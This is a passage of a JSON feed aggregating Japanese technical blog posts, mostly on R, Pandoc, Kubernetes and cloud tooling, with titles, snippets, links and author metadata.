tidyに確認する方法を紹介しました。後から気付いたのですが、recipesパッケージはbroom::tidy関数を使って確認する方法を提供しています。tidyじゃ何をtidyにするかわからんし、もうちょい良い名前をつけて欲しいですね。さておき、試してみましょう。","link":"https://blog.atusy.net/2021/06/23/tidy-inspect-tidymodels-preprocessing/","isoDate":"2021-06-23T00:00:00.000Z","dateMiliSeconds":1624406400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Tidymodelsでデータの前処理内容を確認する","contentSnippet":"tidymodelsはRにおける統計モデリングや機械学習を便利にするためのフレームワークです。tidymodelsを利用するとパイプ演算子による処理の流れが明瞭なモデリングパッケージごとに異なる学習・予測インターフェースの統一といったメリットを享受でき、徐々にはやってきている印象です。","link":"https://blog.atusy.net/2021/06/22/inspect-tidymodels-preprocessing/","isoDate":"2021-06-22T00:00:00.000Z","dateMiliSeconds":1624320000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"HTML+CSSでaとかcodeとかの前後に空白を入れつつ、段落の左端を揃える","contentSnippet":"p a.normal::before,p a.normal::after { content: none;}日本語の場合、単語の間にスペースを入れないため、リンクやコードと平文が地続きになりがちです。ちょっと空白を入れたい時は以下のようなCSSが活躍します。リンクを例にとってみましょう。p a::before,p a::after { content: \\" \\"; font-size: 0; word-spacing: 1rem;}リンクの前後に余白ではなく空白(半角スペース)を使うところがミソです。また、ここではあえて大袈裟に1remの空白を入れて、以下の例でわかりやすくしています。","link":"https://blog.atusy.net/2021/06/21/css-inline-pseudo-margins/","isoDate":"2021-06-21T00:00:00.000Z","dateMiliSeconds":1624233600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Open Telemetry + Google Cloud Trace やってみた","contentSnippet":"モチベーションGoogle Cloud Trace(以下Cloud Trace)がOpen Telemetryの対応をしているということで、更にドキュメントにはないけど(2021-06-14現在)Javaでもライブラリができたので、それを試してみる。分散トレーシングしたいって言う場合、GKEで組んでいる場合、Cloud Traceのライブラリを使って直接送るっていうのもありだが、Open Telemetryを使うことで、他のツールにも送れるような仕組みができる。 前提分散トレーシングについて知っているNuxt.jsについて少し知っている Open Telemetr...","link":"https://zenn.dev/satohjohn/articles/e37e8575966204","isoDate":"2021-06-14T05:35:09.000Z","dateMiliSeconds":1623648909000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"denops.vimを使って引用符と括弧を操作するVimのプラグインを書いた","contentSnippet":"はじめにかねてから、Denoを触ってみたいけど肝心の作るものがないなと思っていました。そんな矢先にたまたまdenops.vimとの邂逅を果たしたので、昔作ったプラグインを書き直してみました。denops.vimについてはhttps://github.com/vim-denops/denops.vimhttps://zenn.dev/lambdalisue/articles/b4a31fba0b1ce95104c9 作ったものhttps://github.com/atsuya0/dps-surrounding.vim題目のとおり、引用符と括弧を操作するvimのプラグイ...","link":"https://zenn.dev/tayusa/articles/58d1c20172f662","isoDate":"2021-06-13T15:41:53.000Z","dateMiliSeconds":1623598913000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Kustomize でスラッシュを含むパスにパッチを当てる","contentSnippet":"背景Kustomize では JSON Patch を用いて base のマニフェストにパッチを当てることができます。例えば,以下のマニフェストdeployment.yamlapiVersion: apps/v1kind: Deploymentmetadata: labels: app.kubernetes.io/name: myapp app.kubernetes.io/version: v1.0.0 name: myapp version: v1.0.0...の version の値を v1.0.1 に変えたい場合は,以下の...","link":"https://zenn.dev/toshikish/articles/38896bb9ae1913","isoDate":"2021-05-31T07:34:24.000Z","dateMiliSeconds":1622446464000,"authorName":"toshikish","authorId":"toshikish"},{"title":"\uD83D\uDC2D Goに入門しよう","contentSnippet":"社内LTにて、Goを布教しようと試みましたʕ◔ϖ◔ʔ","link":"https://speakerdeck.com/hiroki_hasegawa/goniru-men-siyou","isoDate":"2021-05-27T04:00:00.000Z","dateMiliSeconds":1622088000000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"PandocでWord出力する時にヘッダーやフッターの内容を動的に変更する","contentSnippet":"Pandocで出力するdocxファイルに好みの書式設定などを反映するには、スタイルを設定済みのdocxファイルを用意しておき、そのファイルのパスを--reference-docオプションに指定します(以下リファレンスファイル)。スタイルのカスタマイズや作成方法は以下を参考にしてください。","link":"https://blog.atusy.net/2021/05/23/pandoc-word-dynamic-header-and-footer/","isoDate":"2021-05-23T00:00:00.000Z","dateMiliSeconds":1621728000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"♾️ SREに入門しよう","contentSnippet":"社内LTにて、SRE用語を布教しようと試みましたʕ◔ϖ◔ʔ","link":"https://speakerdeck.com/hiroki_hasegawa/sreniru-men-siyou","isoDate":"2021-05-07T04:00:00.000Z","dateMiliSeconds":1620360000000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"Rustの練習","contentSnippet":"概要完全に参照の部分に慣れていないので、これをどうやって対応したのかを自分の整理のためにもメモしていくexerismでRustの勉強をしているが、その問題を使う Simple Linked List全容: https://exercism.io/tracks/rust/exercises/simple-linked-list/solutions/d0fdfb1c904344ecbf4bcf808c345cdc以下のような構造ときので後入れ先出しのパターンの場合pub struct SimpleLinkedList { head: Option&...","link":"https://zenn.dev/satohjohn/articles/536589f3a86600","isoDate":"2021-05-01T14:15:59.000Z","dateMiliSeconds":1619878559000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"First-Party Setsについて","contentSnippet":"概要Cookie のセキュリティについてです。 partyCookieにはfirst-partyとthird-partyがあります。first-partyとは現在訪れているドメインです。third-partyとは現在訪れているドメインとは違うドメインです。 SameSite Cookieshttps://developer.mozilla.org/ja/docs/Web/HTTP/Headers/Set-Cookie/SameSite現在、訪れているドメインから別ドメインにHTTPリクエストを送信するときに、Cookieをセットするか設定するものです。これには...","link":"https://zenn.dev/tayusa/articles/efa8aa75ad5519","isoDate":"2021-04-25T16:30:34.000Z","dateMiliSeconds":1619368234000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"minidown 0.1.0をリリース","contentSnippet":"minidown 0.1.0をCRANにリリース。タブセット機能の追加、サイドバーに目次を表示した時のレイアウト改善などが主な変更です。","link":"https://blog.atusy.net/2021/04/04/minidown-0-1-0/","isoDate":"2021-04-04T00:00:00.000Z","dateMiliSeconds":1617494400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ftExtra 0.2.0をリリース!","contentSnippet":"脚注、引用文献、段落の扱いを改善しつつ、処理速度も大幅改善","link":"https://blog.atusy.net/2021/03/29/ftextra-0-2-0/","isoDate":"2021-03-29T00:00:00.000Z","dateMiliSeconds":1616976000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"\uD83D\uDC2D Lambda関数をGoで実装してみた話","contentSnippet":"社内LTにて、Goを布教しようと試みましたʕ◔ϖ◔ʔ","link":"https://speakerdeck.com/hiroki_hasegawa/lambdaguan-shu-wogodeshi-zhuang-sitemitahua","isoDate":"2021-03-26T04:00:00.000Z","dateMiliSeconds":1616731200000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"Tokyo.R 90でRStudio PBCに転職しようとした時の話をした","contentSnippet":"Tokyo.R 90でもBoothの頒布物でも語っていない裏話。","link":"https://blog.atusy.net/2021/03/11/tokyor90/","isoDate":"2021-03-11T00:00:00.000Z","dateMiliSeconds":1615420800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"dplyr 1.0.4で複数列を対象としたfilterが簡単になった","contentSnippet":"dplyr 1.0.0から導入されたacross関数は、mutate関数やsummarize関数を複数列に簡単に適用できる便利な道具です。*_atや*_ifといった関数を過去のものにした他、group_byでも使えるなど、使いどころは多いです。","link":"https://blog.atusy.net/2021/02/03/dplyr-1-0-4/","isoDate":"2021-02-03T00:00:00.000Z","dateMiliSeconds":1612310400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"July Tech Festa 2021 winterで発表&運営スタッフをしました","link":"https://bells17.medium.com/july-tech-festa-2021-winter%E3%81%A7%E7%99%BA%E8%A1%A8-%E9%81%8B%E5%96%B6%E3%82%B9%E3%82%BF%E3%83%83%E3%83%95%E3%82%92%E3%81%97%E3%81%BE%E3%81%97%E3%81%9F-385e7e18aac4?source=rss-713cf42ce34d------2","isoDate":"2021-01-26T04:26:28.000Z","dateMiliSeconds":1611635188000,"authorName":"bells17","authorId":"bells17"},{"title":"R MarkdownでBootstrap 4を使えるようになった","contentSnippet":"GitHub版のrmarkdownパッケージのhtml_document関数がBootstrap 4に対応しました。本記事ではどんなことができるのか紹介します。が、同じ内容をhtml_documentでBootstrap 4を使ってレンダリングしてみたので、そちらを参考にして下さい。","link":"https://blog.atusy.net/2021/01/21/rmd-bs4/","isoDate":"2021-01-21T00:00:00.000Z","dateMiliSeconds":1611187200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"AWS ソリューションアーキテクト アソシエート合格までのまとめ","contentSnippet":"#目次#0. はじめに先日、AWS ソリューションアーキテクト アソシエート に合格したので、忘れないうちに色々とアウトプットしておこうと思います。これから受験を考えている方の役にたてればと思い…","link":"https://qiita.com/dirtymosschan/items/da3eebdf6b7be9c3eb67","isoDate":"2021-01-19T13:11:47.000Z","dateMiliSeconds":1611061907000,"authorName":"Yu Kaneko","authorId":"mos914"},{"title":"minidownで目次をハイライトできるようにした","contentSnippet":"minidown::mini_documentはrmarkdown::html_documentを軽量化しつつ同等以上の機能提供を目指すR Markdown用HTMLフォーマットです。","link":"https://blog.atusy.net/2021/01/14/minidown-toc-highlight/","isoDate":"2021-01-14T00:00:00.000Z","dateMiliSeconds":1610582400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"blogdownで記事のテンプレートを用意する","contentSnippet":"blogdownではR Markdownを使ったウェブサイトの作成ができます。名前の通り、ブログを念頭に置いたパッケージです。ドキュメントは以下にあります。ググると日本語の記事もそれなりに出てきます。","link":"https://blog.atusy.net/2020/12/25/blogdown-archettype/","isoDate":"2020-12-25T00:00:00.000Z","dateMiliSeconds":1608854400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Pandocで出力形式に依存せず見出し番号をつけたり、第1章とか第1.1節とか装飾したい","contentSnippet":"昨日はHTML出力の場合に限って、見出し番号の装飾方法を紹介しました。PandocでHTML出力時に見出し番号を第1章とか第1.1節とかしたいただ、昨日の段階ではどの方法も一長一短だったので、今日は任意の出力に対応するLuaフィルタを用意しました。","link":"https://blog.atusy.net/2020/12/24/decorate-section-numbers-on-any-format-with-pandoc/","isoDate":"2020-12-24T00:00:00.000Z","dateMiliSeconds":1608768000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"2020年にKubernetse関連で取り組んだことまとめ","link":"https://bells17.medium.com/2020-kubernetse-4771e660a174?source=rss-713cf42ce34d------2","isoDate":"2020-12-23T16:04:00.000Z","dateMiliSeconds":1608739440000,"authorName":"bells17","authorId":"bells17"},{"title":"PandocでHTML出力時に見出し番号を第1章とか第1.1節とかしたい","contentSnippet":"Pandoc単体では見出し番号を装飾してくれません。HTML出力の場合、Luaフィルタ、CSS、JavaScriptと3つほど選択肢があるので、それぞれの方法とメリット・デメリットを紹介します。","link":"https://blog.atusy.net/2020/12/23/decorate-section-numbers-on-pandoc/","isoDate":"2020-12-23T00:00:00.000Z","dateMiliSeconds":1608681600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"GCP の Identity Aware-Proxy を使って SSH した話","contentSnippet":"#Cloud Identity Aware-Proxy とは?一言で表すと、Google のアカウントを使ってセキュアにリソースに接続できるプロキシサービスです。###何ができる?GCP 上の…","link":"https://qiita.com/dirtymosschan/items/fd11001daa68d7c8d943","isoDate":"2020-12-22T11:20:18.000Z","dateMiliSeconds":1608636018000,"authorName":"Yu Kaneko","authorId":"mos914"},{"title":"gRPC-WebとGoとVue.jsで簡素なチャット","contentSnippet":"はじめに何だか良くわからないけどよく聞くgRPC-Webなるものを触りだけでも理解すべく辛うじてチャット呼べそうなものを作ってみました。概要gRPCとはhttps://grpc.io/Pr…","link":"https://qiita.com/atsuya0/items/f994ca9d820d307daffd","isoDate":"2020-12-17T17:06:43.000Z","dateMiliSeconds":1608224803000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"VolumePlugin がボリュームを作成・マウントするしくみ","contentSnippet":"はじめにPod の作成時、pod.spec.volumes に記述したボリュームがコンテナにマウントされます。マウントされる Node 側のボリュームを、VolumePlugin がどのように作…","link":"https://qiita.com/kyohmizu/items/40bee7037e1ce7949772","isoDate":"2020-12-17T10:54:47.000Z","dateMiliSeconds":1608202487000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"Tidymodelsで使えるモデルの紹介とモデルの追加方法","contentSnippet":"Tidymodelsが標準で提供するモデルと追加で提供するモデルについて軽く紹介し、更に自前でモデルを組んでみます。Rアドベントカレンダー、12/14の記事です。","link":"https://blog.atusy.net/2020/12/13/add-parsnip-model/","isoDate":"2020-12-13T00:00:00.000Z","dateMiliSeconds":1607817600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Sidekiqのジョブをパフォーマンスを考えて削除する","contentSnippet":"はじめにRailsで処理を何らかの理由で遅延させた場合や非同期に処理を行いたいときに多くの人がActive Jobを使用していると思います。とても便利で良いやつなのですがキューに積んだジョブを削…","link":"https://qiita.com/atsuya0/items/30d6259766a9a0d5103d","isoDate":"2020-12-12T17:37:05.000Z","dateMiliSeconds":1607794625000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"任意のファイルをPNGファイルで隠してみる","contentSnippet":"はじめにある日、私はファイルを連結したらどうなるんだろうという好奇心に逆らえず、おもむろに連結して確かめてみることにしました。結果、その連結したファイルは普通にファイルとして使えることがわかりま…","link":"https://qiita.com/atsuya0/items/a8ccbc9637c37cdf967e","isoDate":"2020-12-12T14:56:30.000Z","dateMiliSeconds":1607784990000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Luaフィルタがアツイ2020","contentSnippet":"Pandoc Advent Calendar 2020の12/7の記事です。多様なドキュメントフォーマット間を変換できるPandocでは、「フィルター」という機能を使って、変換処理に割り込みをかけることができます。","link":"https://blog.atusy.net/2020/12/07/lua-filter-is-hot/","isoDate":"2020-12-07T00:00:00.000Z","dateMiliSeconds":1607299200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":".gcloudignoreの書き方","contentSnippet":".gcloudignore の設定が思ったとおりに、いかなかったのでまとめます。.gitignoreと同じらしいですが、そもそもgitで今まで全体をignoreすることはやったことなかったので基本はコチラに書いてあるのですが、わからなかった部分も含みますhttps://cloud.google.com/sdk/gcloud/reference/topic/gcloudignore# 始まりはコメントです 基本の考え ファイル指定以下パターンすべてプロジェクト直下のものが対象になります。否定する場合は ! をつけます。!a.txt というファイルをデプロイ対象にしたい...","link":"https://zenn.dev/satohjohn/articles/11df180df878ac","isoDate":"2020-11-30T09:57:54.000Z","dateMiliSeconds":1606730274000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"R MarkdownやPandocでMarkdown出力する時に数式をベクター画像化する","contentSnippet":"--webtex=https://latex.codecogs.com/svg.latex?と指定するとSVG画像化した高品質な数式を得られるよ。","link":"https://blog.atusy.net/2020/11/15/pandoc-webtex-svg/","isoDate":"2020-11-15T00:00:00.000Z","dateMiliSeconds":1605398400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R MarkdownやPandocでMarkdown出力する時に数式をPNG画像化する","contentSnippet":"R MarkdownやPandocは数式をレンダリングする方法をいくつか提供しています1。代表的な方法にMathJaxやKaTeXがありますが、これらはJavaScriptで実装されているため、出力形式がマークダウンで、ビューアーがGitHubのような場合、利用できません。","link":"https://blog.atusy.net/2020/11/08/math-in-markdown/","isoDate":"2020-11-08T00:00:00.000Z","dateMiliSeconds":1604793600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"GAE + Java 11 + Quarkusってどんなもんよ","contentSnippet":"基本的に今までTypeScript + Node.jsで書いてましたが、そろそろJVMを書きたいという気持ちが出てきました。ただし、Standard環境のGAEは良いものだと知ってしまった、、、ということでJava 11でかけないかなと思いました。GAE + Java 11を利用する上で考えるのは、 初回リクエストのレスポンス速度 (JVMの起動速度+アプリケーションの起動速度) が問題になるかと思います。では、高速に起動する(?)と言われるQuarkusを使って見たらどうだろうと思い、ちょっと調査してみました。Javaと言いながらKotlinで作ってますが、あんまり変わらない(...","link":"https://zenn.dev/satohjohn/articles/70a2b77308e0b982fb70","isoDate":"2020-11-07T13:08:25.000Z","dateMiliSeconds":1604754505000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"pinsパッケージならリモートファイルをローカルと別のリモートキャッシュできる","contentSnippet":"さわりのさわりなので、詳しくは公式を参照してね。pins::pin関数を使うと、Web上のリソースをキャッシュできる。デフォルトではローカルにキャッシュする。使い方は簡単で、関数に与えるURLをpins::pin関数でラッピングしておくだけ。","link":"https://blog.atusy.net/2020/11/04/pins/","isoDate":"2020-11-04T00:00:00.000Z","dateMiliSeconds":1604448000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"フロントエンド(SPA)でのFirebase Authとの付き合い方","contentSnippet":"Firebase Authで取得したID Tokenをどう使うか、どう保管するかが結構難しいと思っています。その中で、WebアプリケーションにおいてFirebaseのドキュメントには2パターンがあるように見えました。Cookieを使ったSession管理ID Token+Service Workerを使った管理(Betaっぽい)自分としてはそれぞれのメリット・デメリットがあると感じましたので、まとめます。 1. Cookieを使ったSession管理メリット自分でCookieの長さを決められる.2週間に設定することもできる(ID Tokenの期限は1時間)古いブ...","link":"https://zenn.dev/satohjohn/articles/d39cf288dcfbe5e39c3b","isoDate":"2020-11-03T14:40:40.000Z","dateMiliSeconds":1604414440000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"#OsakaR で2回目のもくもく会を開催しました","contentSnippet":"2020/10/31に開催しました。第1回は2020/6/6だったので、実に4ヶ月ぶり。もう少し頻度をあげたいとろですが、家族や他の勉強会とのバランスを考えると中々難しいところです。今回は私がRStudio PBCのテーブルコンテストに参戦したく、追い込みをかけるために突如企画した、というのが内情だったりします。昨日の記事にした通り、無事投稿しました。せっかくなので徒然と記録や思いを残しておきます。","link":"https://blog.atusy.net/2020/11/02/osakar-mokumoku-2/","isoDate":"2020-11-02T00:00:00.000Z","dateMiliSeconds":1604275200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"RStudio PBCのテーブルコンテストに投稿しました","contentSnippet":"2019年のShinyコンテストに続き、2020年は表コンテストが開催されました(開催案内)。実用的なのからネタなものまで幅広くテーブルを募るもので、投稿期間は9/15から10/31でした。大枠としては、Single Table Example: 面白い構造をした表、便利な機能や特殊な機能を使った表、特定の分野で用いられる表などTutorial: パッケージの機能紹介を通して素敵な表を組む方法をまとめるOtherで、更に表の形式として","link":"https://blog.atusy.net/2020/11/01/rstudio-table-contest/","isoDate":"2020-11-01T00:00:00.000Z","dateMiliSeconds":1604188800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"PandocでHTML出力する時の数式の扱い","contentSnippet":"基本はMath rendering in HTMLに記載の通り。--mathjaxや--katexはJavaScriptやCSSの読み込みをするだけで数式部分の出力は変わらないと思ってたけど、そうでもなかったのでメモがてら全パターンを試す。","link":"https://blog.atusy.net/2020/10/31/pandoc-math-rendering-engines/","isoDate":"2020-10-31T00:00:00.000Z","dateMiliSeconds":1604102400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ベクトルから要素を除去する方法とsetdiffの罠","contentSnippet":"以下のxからyを除去してみましょう。x <- c(\'banana\', \'banana\', \'apple\', \'grape\')y <- c(\'apple\', \'grape\')%in%演算子を使えばxの要素がyに含まれているか判定できるので、簡単ですね。x[!x %in% y]#> [1] \\"banana\\" \\"banana\\"もっと簡単「そう」な方法に、setdiff関数があります。ただしこいつは中でunique関数をかけている点に注意が必要です。","link":"https://blog.atusy.net/2020/10/27/remove-elements-from-vector/","isoDate":"2020-10-27T00:00:00.000Z","dateMiliSeconds":1603756800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Kubernetes Internal #1を開催しました","link":"https://bells17.medium.com/kubernetes-internal-1-ea0f1adcfe33?source=rss-713cf42ce34d------2","isoDate":"2020-10-19T10:29:31.000Z","dateMiliSeconds":1603103371000,"authorName":"bells17","authorId":"bells17"},{"title":"R MarkdownでHTML出力時に見出しのURLを簡単に取得できるようにした","contentSnippet":"このブログでも使えてます。ここにマウスを重ねると#記号が見出しの最後に現れ、クリックするとブラウザのURL覧から見出しのURLを取得できるようにしました(PR #1884)。#記号を右クリックしてメニューからCopy link locationとかしてもOK。","link":"https://blog.atusy.net/2020/10/18/rmd-anchor-sections/","isoDate":"2020-10-18T00:00:00.000Z","dateMiliSeconds":1602979200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Istio の timeout, retry, circuit breaking, etc","link":"https://medium.com/@yteraoka/istio-%E3%81%AE-timeout-retry-circuit-breaking-etc-c170285447e8?source=rss-8b55af126a13------2","isoDate":"2020-10-17T14:52:08.000Z","dateMiliSeconds":1602946328000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"オープンソースソフトウェア開発の貢献に必要なスキルは何かとインタビューされた","contentSnippet":"とある筋からオープンソースソフトウェア開発への貢献に必要なスキルセットは何かとインタビューを受けた。氏の研究に必要らしくて受けたが、今日のことをブログにしても構わないとのことだったので、ちょっとメモがてら書き残しておこう。","link":"https://blog.atusy.net/2020/10/04/contributing-oss/","isoDate":"2020-10-04T00:00:00.000Z","dateMiliSeconds":1601769600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ggplot2で列の値をそのまま色の値にしつつレジェンドも表示する(`scale_*_identity`関数)","contentSnippet":"ggplot2パッケージではscale_*_identityという名前の関数を使うと、審美的属性にマッピングした列の値をそのまま色やサイズ、透明度に反映できます。ただし、デフォルトでは凡例が表示されません。","link":"https://blog.atusy.net/2020/09/21/ggplot-scale-identity-with-legend/","isoDate":"2020-09-21T00:00:00.000Z","dateMiliSeconds":1600646400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ggplot2とplotlyで作成したグラフから凡例を残してデータを非表示にする","contentSnippet":"plotlyで作成したグラフは凡例をクリックすると、データの表示・非表示を変更できます。ではデフォルトで一部の凡例を非表示にする方法はあるでしょうか。","link":"https://blog.atusy.net/2020/09/19/ggplotly-legend-visibility/","isoDate":"2020-09-19T00:00:00.000Z","dateMiliSeconds":1600473600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"kubeadmの共通処理の実装","link":"https://bells17.medium.com/kubeadm-common-implementation-a5e5b3890dde?source=rss-713cf42ce34d------2","isoDate":"2020-09-12T19:22:01.000Z","dateMiliSeconds":1599938521000,"authorName":"bells17","authorId":"bells17"},{"title":"Kubernetes (k8s) 管理者用GUI Lens","contentSnippet":"Lensとはlensapp/lensk8sで動作する全てのリソースをモニタリングしてくれるGUIアプリLinux/Mac/Windowsで動作するこんな感じ(kindで作ったクラスタ見てます)…","link":"https://qiita.com/tozastation/items/804949c69df5d53643c6","isoDate":"2020-09-07T12:53:18.000Z","dateMiliSeconds":1599483198000,"authorName":"tozastation","authorId":"tozastation"},{"title":"パッケージのチェックをR-hubのあらゆるプラットフォームで実行し通す","contentSnippet":"結論rhub::check_for_cran(platforms = rhub::platforms()$name)負担かけすぎるのもよくないのでほどほどに。背景からCRANに投稿する際、2つ以上のプラットフォームでパッケージをチェックすることが推奨されている。","link":"https://blog.atusy.net/2020/09/07/rhub-test-all-for-cran/","isoDate":"2020-09-07T00:00:00.000Z","dateMiliSeconds":1599436800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"UMAPを異常検知の前処理に使う時に、異常データの一部もUMAPに学習させるとよさそう","contentSnippet":"UMAPは高次元データを似たもの同士が近くなるように次元縮約してくれる便利な手法だ。t-SNEよりも高速なことに加え、訓練しておいたモデルを新規データに適用できることも魅力。","link":"https://blog.atusy.net/2020/09/02/umap-outlier/","isoDate":"2020-09-02T00:00:00.000Z","dateMiliSeconds":1599004800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ftExtra 0.0.2、0.0.3をリリースしました","contentSnippet":"ftExtra 0.0.3をリリースしました。0.0.2をリリースしたらCRANにSolarisでうまくvignetteをビルドできねえんだけど、なんとかしないとCRANから消すねって言われて、慌てて0.0.3をリリースしました1。ユーザーレベルで認識できる変更は0.0.2のものです。","link":"https://blog.atusy.net/2020/08/30/ftextra-0-0-3/","isoDate":"2020-08-30T00:00:00.000Z","dateMiliSeconds":1598745600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"PandocやR Markdownでマルチカラムレイアウト","contentSnippet":"スライドを筆頭にしばしば2カラム以上のレイアウトなどを利用したくなりますね。R Markdownの場合、revealjsパッケージでマルチカラムを利用する方法が、私を含め複数の人によって提案されてきました。","link":"https://blog.atusy.net/2020/08/24/pandoc-columns/","isoDate":"2020-08-24T00:00:00.000Z","dateMiliSeconds":1598227200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R Markdownとrevealjsとluaフィルタでチャンクやブロック要素をincrementalに表示する","contentSnippet":"","link":"https://blog.atusy.net/2020/08/15/incremental-revealjs/","isoDate":"2020-08-15T00:00:00.000Z","dateMiliSeconds":1597449600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R Markdown Cookbookの原稿をレビューをしました","contentSnippet":"待望の「R Markdown Cookbook」が今年出ます。Webからも閲覧可能です(https://bookdown.org/yihui/rmarkdown-cookbook)。私も小ネタの提供やレビューで協力させて頂き、謝辞に載せていただきました。READMEでは2020年8月出版予定となってますが、多分、遅れるんじゃないかな?","link":"https://blog.atusy.net/2020/08/10/reviewed-rmarkdown-cookbook/","isoDate":"2020-08-10T00:00:00.000Z","dateMiliSeconds":1597017600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Cloud SQLへのprivate ip 接続でハマった話","contentSnippet":"概要Cloud SQL(MySQL)に対してprivate ipを使ってアクセスしたときに、何をチェックしたかをメモするハマったからにはきちんとログを残す現象GCE から Cloud SQL…","link":"https://qiita.com/SatohJohn/items/e79f363798a6233f9ad2","isoDate":"2020-08-07T16:53:50.000Z","dateMiliSeconds":1596819230000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"情報処理安全確保支援士の関連資料","contentSnippet":"情報処理安全確保支援士の業務を行う上で、参照すべき資料一覧です。サイバーセキュリティ基本法(平成二十六年法律第百四号)情報処理の促進に関する法律(昭和四十五年法律第九十号)情報処理学会倫理綱領RFC:1087 倫理とインターネット(Ethics and the Internet)セキュリティ対応組織 (SOC,CSIRT)強化に向けたサイバーセキュリティ情報共有の「5W1H」 v2.0 (2019年4月)JPCERT インシデントハンドリングマニュアルIPA 脆弱性対策の効果的な進め方(ツール活用編)情報セキュリティ早期警戒パートナーシップガイドラインIPA 重要なセキュリティ情報一覧IPA 共通脆弱性評価システムCVSS v3概説JVN (Japan Vulnerability Notes)JVN 脆弱性レポートの読み方JVN iPediaFIRST Common Vulnerability Scoring System SIGCWE (Common Weakness Enumeration)IPA 脆弱性体験学習ツール AppGoatMyJVNIPA 組織における内部不正防止ガイドライン地方公共団体における情報セキュリティポリシーに関するガイドライン(平成30年9月版)IPA 委託関係における情報セキュリティ対策ガイドラインIPA 中小企業の情報セキュリティ対策ガイドラインIPA 情報漏えい対策のしおりNISC スマートフォン等の業務利用における情報セキュリティ対策の実施手順作成手引書個人情報の保護に関する法律についてのガイドラインIPA 企業(組織)における最低限の情報セキュリティ対策のしおりスマートフォンのセキュリティ<危険回避>対策のしおりJPCERT/CC 技術メモ - 安全な Web ブラウザの使い方IPA ウェブブラウザのプロテクションプロファイル","link":"https://kyohmizu.hatenablog.com/entry/2020/08/05/115459","isoDate":"2020-08-05T02:54:59.000Z","dateMiliSeconds":1596596099000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"CRANを見据えるならパッケージの機能が最小限の内に送ってしまえ","contentSnippet":"金曜日にchunkhooksパッケージをCRANに送りだしました。コードブロックに行番号をつけたり、fig.widthの単位をインチからミリメートルに変換したり、そんなおお役立ちフックをちょこちょこ盛り込んでいます。","link":"https://blog.atusy.net/2020/07/27/creating-package/","isoDate":"2020-07-27T00:00:00.000Z","dateMiliSeconds":1595808000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"tibbleでカラーコードを示す列を色付けてみる","contentSnippet":"にすぜっとさんのツィートを見かけて挑戦してみました (https://twitter.com/niszet0/status/1286245706504708101)。まっとうな人はformattableとかそーゆーの使った方がいいんじゃないかな。以下のコードをRStudioのコンソールにでもコピペしてみてくださいな。ちなみにR MarkdownではRStudio IDEのpreview画面にも、HTMLなどの出力にも反映されない。","link":"https://blog.atusy.net/2020/07/23/color-tibble-column/","isoDate":"2020-07-23T00:00:00.000Z","dateMiliSeconds":1595462400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"テスト駆動開発してCRANに投げるの大事ネ","contentSnippet":"CRANに登録済みのftExtraパッケージはPandocのASTを扱ったりする都合上、内部のデータ操作が結構複雑なので、自分の意図した動作が実現するか随時確認できるように、単体テストを重視していました。","link":"https://blog.atusy.net/2020/07/20/cran-package-with-tests/","isoDate":"2020-07-20T00:00:00.000Z","dateMiliSeconds":1595203200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"rocker/verse:4.0.2を使おうとして躓いた","contentSnippet":"RをDockerで簡単に使えるようにするプロジェクトとしてrockerがあります。こいつ、R 3.x.x系とR 